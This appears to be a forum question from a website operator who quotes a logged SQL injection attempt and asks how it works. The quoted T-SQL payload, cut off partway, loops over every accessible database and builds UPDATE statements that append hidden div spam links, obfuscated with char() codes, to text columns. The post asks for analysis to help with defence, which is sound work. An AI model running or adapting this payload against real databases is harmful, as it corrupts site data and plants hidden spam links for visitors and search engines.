We use stored procedures and so far we haven't detected any injections that have been successful, but we see attempts all of the time. I started logging some of the data hoping to gain insight on what people were attempting and possibly use it to block any future attempts by new methods. Here is the code of something someone tried to run on our site today, they tried it with syntax 8 different ways. I can understand some of it, but not all of it. So I was hoping someone else who knows more could tell me how exactly this works and what it was trying to do (I believe it was trying to insert links to a page using hidden divs in MAX columns in all of our databases).
declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''my wife cheated now what do i do ''+char(60)+''a href="http:''+char(47)+char(47)+''www.femchoice.org''+char(47)+''femchoice.org''+char(47)+''page''+char(47)+''wife-cheated-on-me-now-what.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''femchoice.org'''' when 1 then ''''femchoice.org'''' else ''''femchoice.org'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' what to do when your wife cheated on you''
That's exactly how it was injected. They declare some variables to move data around, then get the name of each of the non-system databases. From there I'm not sure what it's doing but I'm guessing it goes through all the tables looking for max columns and if it finds one, it finds some rows and writes links to them.